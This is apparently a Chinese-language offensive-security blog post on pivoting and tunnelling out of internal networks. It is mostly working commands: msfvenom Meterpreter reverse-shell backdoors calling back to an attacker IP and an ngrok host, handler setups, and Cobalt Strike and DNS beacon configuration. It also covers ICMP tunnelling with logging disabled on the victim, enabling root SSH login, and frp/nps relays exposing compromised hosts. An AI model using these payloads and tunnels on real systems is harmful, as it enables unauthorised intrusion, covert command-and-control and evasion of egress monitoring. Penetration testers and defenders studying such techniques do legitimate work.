内网穿透 | xiaodisec

  • 代理技术:解决网络通讯不通的问题(利用 跳板机建立节点 后续操作)
  • 隧道技术:解决不出网协议上线的问题(利用 出网协议进行封装 出网)

    代理 使用的场景是 网络不可达。
    隧道 使用的场景是 网络可达但是协议被墙。

代理

解决网络通讯不通的问题
拿下一台跳板机后,MSF需要添加路由,而CS什么都不用做。
添加路由后,说明MSF&CS可以访问这个网段了,但是其他的软件或者主机还是无法访问内网主机的。
所以继续,建立节点。MSF使用socks模块建立节点,CS直接图形化操作建立节点。然后使用代理工具(Proxifier…)进行代理,(利用代理工具可以设置访问的目标主机和使用代理的软件)。

一般不会把工具上传到跳板机上传继续渗透,工具太大上传时可能会丢失数据,而且攻击的动作太大容易被监控报警。

正/反向连接

  • 正向连接——入站
  • 反向连接——出站

大部分都是出站容易,入站难。


MSF实操

  • 反向:reverse
  • 正向:bind

生成后门:

反向:msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.130.85.89 LPORT=4444 -f exe > reverse.exe
正向:msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=3333 -f exe > bind.exe

添加路由

查看路由:run autoroute -p
添加路由:run post/multi/manage/autoroute

建立socks代理节点

use auxiliary/server/socks_proxy
set srvhost 0.0.0.0
set srvport 1111
run

CS实操

  • 反向:Beacon HTTP…
  • 正向:Beacon TCP…
    流程:
    攻击目标拿shell、上传后门执行、跳板机上线;建立节点、设置代理、攻击目标拿shell、上传后门执行、在跳板机执行beacon命令connect ip port,内网机器上线。

    隧道

解决不出网协议上线的问题
隧道举例:

TCP/IP协议:
应用层:HTTP/FTP/SMTP/Telnet
传输层:TCP/UDP
网络层:ICMP/IP/IGMP
链路层:ARP

例如:如果tcp协议被墙,只能用UDP或者ICMP隧道等,这里是向下兼容。
常用的隧道有:ICMP、SMB、DNS

ICMP

https://github.com/esrrhs/spp
https://github.com/bdamele/icmpsh
https://github.com/esrrhs/pingtunnel***
当开启出站检测,禁止所有端口。此时可以ping通外网,但是浏览器无法访问外网。
说明ICMP协议可用,而端口全部禁止了。
如果用反向连接,因为有出站策略,所有肯定不能直接反向。
正向连接更不行,我都找不到肉鸡。
利用ICMP建立隧道连接:肉鸡后门去找它本机的端口,使用ICMP转发工具把那个端口的TCP数据包装成ICMP协议并转发给我,我使用相同的ICMP转发工具将收到的ICMP数据包变成TCP数据。
很鸡肋的是,pingtunnel需要管理员权限运行……
1、CS上线
VPS:

./pingtunnel -type server

肉鸡(管理员运行):

pingtunnel.exe -type client -l 127.0.0.1:6666 -s 8.130.85.89 -t 8.130.85.89:7777 -tcp 1 -noprint 1 -nolog 1
CS:
监听器1:127.0.0.1 6666
监听器2:8.130.85.89 7777

生成监听器1的Stager后门肉鸡执行
2、MSF上线
生成后门:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe > reverse.exe

MSF启动监听:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit

Kali开启隧道:

./pingtunnel -type server

Win开启隧道 //将本地3333 icmp协议数据转发至66ip的4444流量上(管理员运行)

pingtunnel.exe -type client -l 127.0.0.1:3333 -s 8.130.85.89 -t 8.130.85.89:4444 -tcp 1 -noprint 1 -nolog 1

SMB

Windows 将命名管道通信封装在 SMB 协议中,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
配合横向移动使用。
SMB Beacon的使用条件如下:

  • 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
  • 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
  • 利用这种beacon横移必须有目标主机的管理员组的权限或者说是拥有具有管理员组权限的凭据

    DNS

    判断:nslookupdig
    内网主机只出网DNS协议数据
    1、添加域名记录
    A记录:
    cs.xxx.com —> 81.123.56.78
    添加NS记录:
    ns:ns.xxx.com —> cs.xxx.com
    2、创建监听器
    在CS创建监听器时选择Beacon DNS
    DNS地址写:ns.xxx.com
    DNS地址(Stager)写:cs.xxx.com
    3、生成后门绑定监听器,执行上线
    DNS解析过程:ns.xxx.com —> cs.xxx.com —>  81.123.56.78
    这样就反向找到了,但是上线后还是黑色的,再执行命令:mode dns-txt

SSH

拿下一台内网的linux跳板机时,可以用ssh隧道….还是很鸡肋冷门的。
开启ssh协议登录:

vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
#本地 出站封 正向
#将内网的192.168.1.15主机的8080端口映射到 跳板机192.168.1.166 的1234端口
ssh -CfNg -L 1122:192.168.1.15:8080 root@192.168.1.166
curl http://127.0.0.1:1122

#远程 入站封 反向
#将内网的192.168.1.15主机的8080端口映射到 攻击机81.123.56.78 的1234端口。
ssh -CfNg -R 1234:192.168.1.15:8080 root@81.123.56.78	#跳板机linux执行
curl http://127.0.0.1:1234	#攻击机执行

穿透

实现两个内网的通讯
工具:
Ngrok 入门型:https://www.ngrok.cc
Frp 简易型:https://github.com/fatedier/frp
Nps 可以自定义:https://github.com/ehang-io/nps
Spp 有特殊协议:https://github.com/esrrhs/spp
EW(停更):http://www.rootkiter.com/EarthWorm

Ngrok

https://www.ngrok.cc
注册,交2块钱实名,建立免费隧道,协议tcp,隧道名称自己写,本地端口填写kail的IP:端口
下载客户端,Sunny。kali执行命令:

./sunny clientid 130117399640

后面的id就是生成的隧道id。
生成MSF后门

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=qwq.free.idcfengye.com lport=80 -f exe -o ngrok.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2222
run

Frp

https://github.com/fatedier/frp
frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。
自行搭建,方便修改,成本低,使用多样化,隐私。
1、服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口)
服务器修改配置文件frps.ini:

[common]
bind_port = 7000

启动服务端:

./frps -c ./frps.ini

2、控制端-下载-解压-修改-启动
控制端修改配置文件frpc.ini:

[common]
server_addr = 47.94.236.117
server_port = 7000        #frpc工作端口,必须和上面frps保持一致

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555          #转发给本机的5555
remote_port = 6000         #服务端用6000端口转发给本机

启动客户端:

./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=8.130.85.89 lport=6000 -f exe -o Frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

3、靶机运行frp.exe即可

Nps

https://github.com/ehang-io/nps
是Frp的升级版。Ngrok就是在Nps的基础上搞的收费版。

#【服务端】在vps上执行
tar -zxvf nps-linux_amd64_server.tar.gz
./nps install
./nps

访问,账号密码admin/123:

http://8.130.85.89:8080

点击 客户端- -> 新增,没有要求直接写个名字新增 –> 点击客户端后面的隧道按钮 –>新增,服务端端口 和 目标端口 表示会把传输到服务端端口的数据 转发到 客户端的目标端口。
把客户端上传到本地kali

tar -zxvf nps-linux_amd64_client.tar.gz
./npc -server=47.94.236.117:8024  -vkey=wnedkcbixtazg5wu

开始攻击

msfvenom -p windows/meterpreter/reverse_tcp lhost=8.130.85.89 lport=5555 -f exe -o Nps.exe

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
run

Spp

项目地址:https://github.com/esrrhs/spp

支持的协议:tcp、udp、udp、icmp、http、kcp、quic
支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理

在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。
1、服务端vps:监听本地的icmp数据

./spp -type server -proto ricmp -listen 0.0.0.0

2、客户端靶机:将本地的8082给到8.130.85.89的8081上(TCP封装icmp)

spp -name "test" -type proxy_client -server 8.130.85.89 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp

3、服务端vps开启CS

监听器1:http 47.94.236.117 8081
监听器2:http 127.0.0.1 8082
【!】用监听器2生成后门